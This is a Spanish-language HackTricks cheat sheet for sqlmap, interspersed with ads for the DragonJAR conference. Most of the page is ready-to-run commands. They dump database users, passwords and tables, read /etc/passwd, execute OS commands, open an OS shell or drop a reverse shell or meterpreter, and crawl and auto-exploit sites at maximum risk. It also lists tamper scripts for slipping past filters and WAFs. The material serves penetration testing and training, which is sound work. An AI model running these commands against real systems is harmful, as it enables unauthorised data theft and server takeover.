hacktricks/pentesting-web/sql-injection/sqlmap/README.md
2023-06-03 01:46:23 +00:00

23 KiB

SQLMap - Hoja de trucos

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference es un evento internacional de ciberseguridad con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:

{% embed url="https://www.dragonjarcon.org/" %}

Argumentos básicos para SQLmap

Genéricos

-u "<URL>" 
-p "<PARAM TO TEST>" 
--user-agent=SQLMAP 
--random-agent 
--threads=10 
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>" 
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Obtener Información

Interna

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Datos de la base de datos

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Lugar de inyección

Desde la captura de Burp/ZAP

Captura la petición y crea un archivo req.txt

sqlmap -r req.txt --current-user

Inyección en peticiones GET


Basic GET request injection

Inyección básica en peticiones GET


The basic usage of sqlmap is quite simple. Just provide the target URL and let sqlmap do its magic.

El uso básico de sqlmap es bastante simple. Solo proporciona la URL objetivo y deja que sqlmap haga su magia.

sqlmap -u "http://target.com/index.php?id=1"

GET request with custom headers

Peticiones GET con encabezados personalizados


If the target application requires custom headers, you can use the --headers option to specify them.

Si la aplicación objetivo requiere encabezados personalizados, puedes usar la opción --headers para especificarlos.

sqlmap -u "http://target.com/index.php?id=1" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"

GET request with cookies

Peticiones GET con cookies


If the target application requires cookies, you can use the --cookie option to specify them.

Si la aplicación objetivo requiere cookies, puedes usar la opción --cookie para especificarlas.

sqlmap -u "http://target.com/index.php?id=1" --cookie="PHPSESSID=1234567890abcdef"

GET request with a proxy

Peticiones GET con un proxy


If you need to use a proxy to access the target application, you can use the --proxy option to specify it.

Si necesitas usar un proxy para acceder a la aplicación objetivo, puedes usar la opción --proxy para especificarlo.

sqlmap -u "http://target.com/index.php?id=1" --proxy="http://127.0.0.1:8080"

GET request with authentication

Peticiones GET con autenticación


If the target application requires authentication, you can use the --auth-type and --auth-cred options to specify the authentication type and credentials.

Si la aplicación objetivo requiere autenticación, puedes usar las opciones --auth-type y --auth-cred para especificar el tipo de autenticación y las credenciales.

sqlmap -u "http://target.com/index.php?id=1" --auth-type="basic" --auth-cred="username:password"
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Inyección en solicitudes POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Inyecciones en Cabeceras y otros Métodos HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indicar cadena cuando la inyección es exitosa

--string="string_showed_when_TRUE" 

Eval

Sqlmap permite el uso de -e o --eval para procesar cada carga útil antes de enviarla con una línea de código de Python. Esto hace que sea muy fácil y rápido procesar la carga útil de formas personalizadas antes de enviarla. En el siguiente ejemplo, la sesión de cookies de Flask es firmada por Flask con el secreto conocido antes de enviarla:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

La opción --os-shell de sqlmap permite obtener una shell interactiva en el sistema operativo subyacente del servidor de la base de datos. Esto puede ser útil para realizar acciones adicionales en el sistema, como la escalada de privilegios o la obtención de información adicional.

Para utilizar esta opción, se debe tener acceso de lectura y escritura al directorio actual del usuario de la base de datos. Si se tiene éxito, sqlmap abrirá una shell interactiva en el sistema operativo subyacente.

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Leer archivo

La opción --file-read de Sqlmap permite leer archivos del sistema de archivos del servidor de la base de datos. Para utilizar esta opción, se debe especificar la ruta del archivo que se desea leer.

Ejemplo:

sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/passwd"

Este comando leerá el archivo /etc/passwd del servidor de la base de datos y mostrará su contenido en la salida de Sqlmap. Es importante tener en cuenta que se necesitan permisos de lectura en el archivo que se desea leer.

--file-read=/etc/passwd

Rastrear un sitio web con SQLmap y auto-explotar

SQLmap es una herramienta muy poderosa para la explotación de vulnerabilidades de inyección SQL en aplicaciones web. Una de las características más útiles de SQLmap es su capacidad para rastrear automáticamente un sitio web en busca de vulnerabilidades de inyección SQL y luego explotarlas automáticamente.

Para rastrear un sitio web con SQLmap, simplemente ejecute el siguiente comando:

sqlmap -u <URL> --crawl=1

Donde <URL> es la URL del sitio web que desea rastrear. El parámetro --crawl=1 indica que SQLmap debe rastrear automáticamente el sitio web en busca de enlaces y formularios para probar.

Una vez que SQLmap ha terminado de rastrear el sitio web, puede usar el siguiente comando para explotar automáticamente cualquier vulnerabilidad de inyección SQL que haya encontrado:

sqlmap -u <URL> --batch --crawl=1 --level=5 --risk=3

Este comando utiliza los siguientes parámetros:

  • -u <URL>: la URL del sitio web que desea explotar.
  • --batch: indica que SQLmap debe ejecutarse en modo batch, lo que significa que no se le pedirá al usuario que confirme cada acción.
  • --crawl=1: indica que SQLmap debe rastrear automáticamente el sitio web en busca de enlaces y formularios para probar.
  • --level=5: indica el nivel de profundidad que SQLmap debe alcanzar al rastrear el sitio web. Un nivel de 5 es el más profundo posible.
  • --risk=3: indica el nivel de riesgo que SQLmap debe asumir al explotar vulnerabilidades de inyección SQL. Un nivel de 3 es el más alto posible.

Con estos comandos, SQLmap puede rastrear automáticamente un sitio web en busca de vulnerabilidades de inyección SQL y explotarlas automáticamente. Sin embargo, es importante tener en cuenta que la explotación automática puede ser peligrosa y puede causar daños irreparables al sitio web o a la base de datos subyacente. Por lo tanto, siempre es recomendable realizar pruebas en un entorno controlado y con el permiso del propietario del sitio web.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Inyección de segundo orden

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lee este post** sobre cómo realizar inyecciones de segundo orden simples y complejas con sqlmap.**

DragonJAR Security Conference **es un evento internacional de ciberseguridad con más de una década de antigüedad que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:

{% embed url="https://www.dragonjarcon.org/" %}

Personalización de la inyección

Establecer un sufijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ayuda para encontrar inyección booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Recuerda que puedes crear tus propios tamper en python y es muy sencillo. Puedes encontrar un ejemplo de tamper en la página de Inyección de Segundo Orden aquí.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Descripción
apostrophemask.py Reemplaza el carácter de apóstrofe con su contraparte de ancho completo UTF-8.
apostrophenullencode.py Reemplaza el carácter de apóstrofe con su contraparte de doble unicode ilegal.
appendnullbyte.py Agrega un byte NULL codificado al final de la carga útil.
base64encode.py Codifica en Base64 todos los caracteres de una carga útil dada.
between.py Reemplaza el operador mayor que ('>') con 'NOT BETWEEN 0 AND #'.
bluecoat.py Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego reemplaza el carácter '=' con el operador LIKE.
chardoubleencode.py Codifica dos veces en URL todos los caracteres de una carga útil dada (sin procesar los ya codificados).
commalesslimit.py Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M'.
commalessmid.py Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)'.
concat2concatws.py Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'.
charencode.py Codifica en URL todos los caracteres de una carga útil dada (sin procesar los ya codificados).
charunicodeencode.py Codifica en Unicode-URL los caracteres no codificados de una carga útil dada (sin procesar los ya codificados). "%u0022".
charunicodeescape.py Codifica en Unicode-URL los caracteres no codificados de una carga útil dada (sin procesar los ya codificados). "\u0022".
equaltolike.py Reemplaza todas las ocurrencias del operador igual ('=') con el operador LIKE.
escapequotes.py Escapa las comillas simples (' y ").
greatest.py Reemplaza el operador mayor que ('>') con su contraparte GREATEST.
halfversionedmorekeywords.py Agrega un comentario versionado de MySQL antes de cada palabra clave.
ifnull2ifisnull.py Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'.
modsecurityversioned.py Encierra la consulta completa con un comentario versionado.
modsecurityzeroversioned.py Encierra la consulta completa con un comentario de versión cero.
multiplespaces.py Agrega varios espacios alrededor de las palabras clave de SQL.
nonrecursivereplacement.py Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para su reemplazo (por ejemplo, .replace("SELECT", "")) filtros.
percentage.py Agrega un signo de porcentaje ('%') delante de cada carácter.
overlongutf8.py Convierte todos los caracteres de una carga útil dada (sin procesar los ya codificados).
randomcase.py Reemplaza cada carácter de palabra clave con un valor de caso aleatorio.
randomcomments.py Agrega comentarios aleatorios a las palabras clave de SQL.
securesphere.py Agrega una cadena especial diseñada.
sp_password.py Agrega 'sp_password' al final de la carga útil para la obfuscación automática de los registros de DBMS.
space2comment.py Reemplaza el carácter de espacio (' ') con comentarios.
space2dash.py Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de una cadena aleatoria y una nueva línea ('\n').
space2hash.py Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y una nueva línea ('\n').
space2morehash.py Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y una nueva línea ('\n').
space2mssqlblank.py Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos.
space2mssqlhash.py Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una nueva línea ('\n').
space2mysqlblank.py Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos.
space2mysqldash.py Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de una nueva línea ('\n').
space2plus.py Reemplaza el carácter de espacio (' ') con un signo más ('+').
space2randomblank.py Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos.
symboliclogical.py Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y ||).
unionalltounion.py Reemplaza UNION ALL SELECT con UNION SELECT.
unmagicquotes.py Reemplaza el carácter de comilla (') con una combinación multibyte %bf%27 junto con un comentario genérico al final (para que funcione).
uppercase.py Reemplaza cada carácter de palabra clave con un valor en mayúscula 'INSERT'.
varnish.py Agrega un encabezado HTTP 'X-originating-IP'.
versionedkeywords.py Encierra cada palabra clave no funcional con un comentario versionado de MySQL.
versionedmorekeywords.py Encierra cada palabra clave con un comentario versionado de MySQL.
xforwardedfor.py Agrega un encabezado HTTP falso 'X-Forwarded-For'.

DragonJAR Security Conference es un evento internacional de ciberseguridad con más de una década de experiencia que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:

{% embed url="https://www.dragonjarcon.org/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥